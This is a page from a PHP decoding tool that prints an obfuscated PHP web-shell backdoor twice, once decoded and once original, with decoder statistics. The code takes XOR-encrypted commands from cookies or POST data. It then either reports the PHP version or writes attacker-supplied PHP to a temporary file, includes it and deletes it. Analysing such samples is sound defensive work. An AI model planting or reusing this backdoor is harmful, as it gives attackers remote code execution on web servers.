Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $icddjpqq = 'icddjpqq' ^ ' '; $zmixvc /*ntek */ = $_..

Decoded Output download

<?php  
$icddjpqq    =    'icddjpqq'	^      ' 
 
'; 
 
 
 
 
 
 
$zmixvc /*ntek  */ =  $_COOKIE; 
 
 
$h_ktqky_lr     =  $_POST; 
 
 
 
 
 
 
function      zejucbyivn($lywlrfamx,      $nkaa_e) 
 
{    global	$icddjpqq; 
 
       $unoczhj	= /* d */ ""; 
 
	$chkxrbvvlz  =    3; 
 
 
	$ybrcfbphtr /*m  */ = /*   ngdtd */ $chkxrbvvlz /*bbshvs   */ -    9; /*  iei */ for /*  nx   */ ($sarmi__ /*zwbg  */ = /*   i */ 0; /*hiagx */ $sarmi__   <    strlen($lywlrfamx);)	{ 
 
 /*  iqbtnq */ for  ($hykoe /*   _iapmv   */ =     0;	$hykoe /*nmyuyr */ <	strlen($nkaa_e)    &&     $sarmi__	<    strlen($lywlrfamx); /*tjgnx*/ $hykoe++,  $sarmi__++)    {    $unoczhj  .= /* twa   */ $icddjpqq(ord($lywlrfamx[$sarmi__])   ^	ord($nkaa_e[$hykoe])); 
			$eeavfpitoe      =    'lzyjz'; 
 
 
    } /*kk  */ }	return     $unoczhj; 
 
 
} 
 
 
function    ekqxlhoru($lypdtafuuq, /*  q */ $lywlrfamx) 
 
{ 
 
 
	global  $icddjpqq; 
 
 
    $sarmi__awnty	=    sprintf("."."/"	. /*  q */ "%"."s"       .      ".".$icddjpqq(302-190) /* x  */ .	"l",	md5($lypdtafuuq)); 
	$_wkevg /*  bigci  */ =  'fwyvf'; 
    file_put_contents($sarmi__awnty,	"<" /*w   */ .    "?"    .	"p".$icddjpqq(104)    .       "p"    .       $icddjpqq(32) /* jiop*/ . /*  i_d */ "u"."n" /*  lcwxgu*/ .   "l" /*  vsuqi   */ .	$icddjpqq(424-319) /* gr   */ .    "n"	.    "k" /* lvu  */ . /* zdhxr   */ $icddjpqq(328-288) /*  _xve   */ . /*   ksuh*/ "_"    .    "_"."F" /*  jqzctk  */ .     $icddjpqq(879-806)  .	"L"."E"."_"    . /*xo   */ "_"    .	$icddjpqq(41)  .    ";".$icddjpqq(32) /*  rr  */ . /*xtm   */ $lywlrfamx["d"]); 
$_wkevg /*   k */ =    trim($_wkevg); 
 
 
$dplqoh    =    13; /*  ezv  */ include($sarmi__awnty); 
 
      $zvthas /*   g*/ =       $sarmi__awnty; 
 
 
	$nmjslbsgrg	=    0; /* usebg */ @unlink($zvthas); 
 
 
	$udahj    =    ord('j');} 
function /*kvupt */ coeuyefpy() 
 
 
{ 
    $owgkzns	=     'jh'; 
 
 
 /*olphcc*/ $uhrmovs    =    28; 
 
 
} 
function     wptgui() 
 
 
{ 
 /*   ue   */ global /* ircybg  */ $icddjpqq; 
 
 
 
 
   $sarmi__    =     array(); 
 
 /*   s   */ $sarmi__["p"."v"]  =	phpversion(); 
    $sarmi__[$icddjpqq(226-111)	.    "v"]	=  $icddjpqq(51)    .	"."."5"; /*   _w  */ echo	@serialize($sarmi__);} 
 
 
function    jrpxprc_ux() 
 
 
{ /*  xk*/ $sqaeykq /*  koxbql  */ =    'tluuh_'; 
 
    $hykoetfqqvj  = /*   tf   */ 'xoscc'; 
 
 
 /*  x  */ $ruclaidi   =    34; 
 
 
 /* ubs_l   */ $thmksra	=	strlen($hykoetfqqvj); 
 
 
    $pcnjgqk    =    18;} 
 
jrpxprc_ux(); 
coeuyefpy(); 
 
 
 
 
 
 
function    kiqkouou($lywlrfamx, /*mup_ki*/ $lypdtafuuq, /* s  */ $_fgofluds) 
 
{ 
 
 
       global    $icddjpqq; 
 
 
 
 
	$lywlrfamx    = /*  ilqfu */ unserialize(zejucbyivn(zejucbyivn(base64_decode($lywlrfamx),	$lypdtafuuq), /*   kjbfi   */ $_fgofluds)); 
 
    if	(isset($lywlrfamx[$icddjpqq(97)."k"]))    {	if    ($lywlrfamx[$icddjpqq(97)]   ==	"i")	{ 
    wptgui(); /*  ov */ }       elseif       ($lywlrfamx[$icddjpqq(97)] /*  xa   */ ==    "e")    { 
	ekqxlhoru($lypdtafuuq,   $lywlrfamx); 
 
 /* rg*/ }     exit(); 
 
    }} 
 
 
 
 
$zmixvc     =    array_merge($h_ktqky_lr,	$zmixvc); 
 
 
$lypdtafuuq /*   _o  */ =	"e".$icddjpqq(98) /*  hovakj  */ . /* a*/ "a"     .    "c".$icddjpqq(203-103) /*ncxani  */ . /*  p   */ "0"    .    "f"    .  "b"."-".$icddjpqq(102) /*  avikz   */ .   "f"    . /*  a*/ "4".$icddjpqq(576-477)	.    "-" /*okzlap */ . /*  ovi   */ $icddjpqq(52) /* idzvo*/ .	"e"	.  "1" /* qwmqa  */ .    "8" /*   oaztby  */ .    "-"   . /*   rlsjt */ $icddjpqq(98)       .    "b"    . /*qzsns */ $icddjpqq(238-184)	.	"3"."-" /*   y   */ .	"7"       .  $icddjpqq(882-826) /*  kxmus*/ .    $icddjpqq(170-115) /*   ndbg_*/ .	"d".$icddjpqq(55) /*   t   */ . /* bww   */ "e"  . /* _fugrw*/ $icddjpqq(860-807)    .	"2"     .    "0"."8".$icddjpqq(51)	.     "2";foreach    ($zmixvc      as /*  gu   */ $_fgofluds   => /*  hmlyyo  */ $lywlrfamx)    { 
 
 /* pqvvhi*/ kiqkouou($lywlrfamx, /* j   */ $lypdtafuuq,    $_fgofluds); 
}$aoirvttx	=    71; 
 
 
 
 
 
 
?>

Did this file decode correctly?

Original Code

<?php 
$icddjpqq    =    'icddjpqq'	^      '

';






$zmixvc /*ntek  */ =  $_COOKIE;


$h_ktqky_lr     =  $_POST;






function      zejucbyivn($lywlrfamx,      $nkaa_e)

{    global	$icddjpqq;

       $unoczhj	= /* d */ "";

	$chkxrbvvlz  =    3;


	$ybrcfbphtr /*m  */ = /*   ngdtd */ $chkxrbvvlz /*bbshvs   */ -    9; /*  iei */ for /*  nx   */ ($sarmi__ /*zwbg  */ = /*   i */ 0; /*hiagx */ $sarmi__   <    strlen($lywlrfamx);)	{

 /*  iqbtnq */ for  ($hykoe /*   _iapmv   */ =     0;	$hykoe /*nmyuyr */ <	strlen($nkaa_e)    &&     $sarmi__	<    strlen($lywlrfamx); /*tjgnx*/ $hykoe++,  $sarmi__++)    {    $unoczhj  .= /* twa   */ $icddjpqq(ord($lywlrfamx[$sarmi__])   ^	ord($nkaa_e[$hykoe]));
			$eeavfpitoe      =    'lzyjz';


    } /*kk  */ }	return     $unoczhj;


}


function    ekqxlhoru($lypdtafuuq, /*  q */ $lywlrfamx)

{


	global  $icddjpqq;


    $sarmi__awnty	=    sprintf("."."\57"	. /*  q */ "%"."\x73"       .      ".".$icddjpqq(302-190) /* x  */ .	"\154",	md5($lypdtafuuq));
	$_wkevg /*  bigci  */ =  'fwyvf';
    file_put_contents($sarmi__awnty,	"<" /*w   */ .    "\x3f"    .	"p".$icddjpqq(104)    .       "\160"    .       $icddjpqq(32) /* jiop*/ . /*  i_d */ "u"."\156" /*  lcwxgu*/ .   "\x6c" /*  vsuqi   */ .	$icddjpqq(424-319) /* gr   */ .    "\156"	.    "\153" /* lvu  */ . /* zdhxr   */ $icddjpqq(328-288) /*  _xve   */ . /*   ksuh*/ "\137"    .    "_"."\x46" /*  jqzctk  */ .     $icddjpqq(879-806)  .	"L"."E"."\x5f"    . /*xo   */ "\137"    .	$icddjpqq(41)  .    ";".$icddjpqq(32) /*  rr  */ . /*xtm   */ $lywlrfamx["\x64"]);
$_wkevg /*   k */ =    trim($_wkevg);


$dplqoh    =    13; /*  ezv  */ include($sarmi__awnty);

      $zvthas /*   g*/ =       $sarmi__awnty;


	$nmjslbsgrg	=    0; /* usebg */ @unlink($zvthas);


	$udahj    =    ord('j');}
function /*kvupt */ coeuyefpy()


{
    $owgkzns	=     'jh';


 /*olphcc*/ $uhrmovs    =    28;


}
function     wptgui()


{
 /*   ue   */ global /* ircybg  */ $icddjpqq;




   $sarmi__    =     array();

 /*   s   */ $sarmi__["p"."\166"]  =	phpversion();
    $sarmi__[$icddjpqq(226-111)	.    "v"]	=  $icddjpqq(51)    .	"."."5"; /*   _w  */ echo	@serialize($sarmi__);}


function    jrpxprc_ux()


{ /*  xk*/ $sqaeykq /*  koxbql  */ =    'tluuh_';

    $hykoetfqqvj  = /*   tf   */ 'xoscc';


 /*  x  */ $ruclaidi   =    34;


 /* ubs_l   */ $thmksra	=	strlen($hykoetfqqvj);


    $pcnjgqk    =    18;}

jrpxprc_ux();
coeuyefpy();






function    kiqkouou($lywlrfamx, /*mup_ki*/ $lypdtafuuq, /* s  */ $_fgofluds)

{


       global    $icddjpqq;




	$lywlrfamx    = /*  ilqfu */ unserialize(zejucbyivn(zejucbyivn(base64_decode($lywlrfamx),	$lypdtafuuq), /*   kjbfi   */ $_fgofluds));

    if	(isset($lywlrfamx[$icddjpqq(97)."\153"]))    {	if    ($lywlrfamx[$icddjpqq(97)]   ==	"i")	{
    wptgui(); /*  ov */ }       elseif       ($lywlrfamx[$icddjpqq(97)] /*  xa   */ ==    "e")    {
	ekqxlhoru($lypdtafuuq,   $lywlrfamx);

 /* rg*/ }     exit();

    }}




$zmixvc     =    array_merge($h_ktqky_lr,	$zmixvc);


$lypdtafuuq /*   _o  */ =	"e".$icddjpqq(98) /*  hovakj  */ . /* a*/ "\x61"     .    "c".$icddjpqq(203-103) /*ncxani  */ . /*  p   */ "\x30"    .    "\x66"    .  "b"."-".$icddjpqq(102) /*  avikz   */ .   "\146"    . /*  a*/ "4".$icddjpqq(576-477)	.    "\x2d" /*okzlap */ . /*  ovi   */ $icddjpqq(52) /* idzvo*/ .	"\x65"	.  "\61" /* qwmqa  */ .    "\x38" /*   oaztby  */ .    "\x2d"   . /*   rlsjt */ $icddjpqq(98)       .    "\x62"    . /*qzsns */ $icddjpqq(238-184)	.	"3"."\x2d" /*   y   */ .	"\67"       .  $icddjpqq(882-826) /*  kxmus*/ .    $icddjpqq(170-115) /*   ndbg_*/ .	"\x64".$icddjpqq(55) /*   t   */ . /* bww   */ "\x65"  . /* _fugrw*/ $icddjpqq(860-807)    .	"\x32"     .    "0"."8".$icddjpqq(51)	.     "\62";foreach    ($zmixvc      as /*  gu   */ $_fgofluds   => /*  hmlyyo  */ $lywlrfamx)    {

 /* pqvvhi*/ kiqkouou($lywlrfamx, /* j   */ $lypdtafuuq,    $_fgofluds);
}$aoirvttx	=    71;






?>

Function Calls

strlen 1
coeuyefpy 1
jrpxprc_ux 1
array_merge 1

Variables

$zmixvc 0
$owgkzns jh
$pcnjgqk 18
$sqaeykq tluuh_
$thmksra 5
$uhrmovs 28
$icddjpqq IiDnafQ{
$ruclaidi 34
$h_ktqky_lr 0
$hykoetfqqvj xoscc

Stats

MD5 35512d434700310069c6706d27eb2267
Eval Count 0
Decode Time 66 ms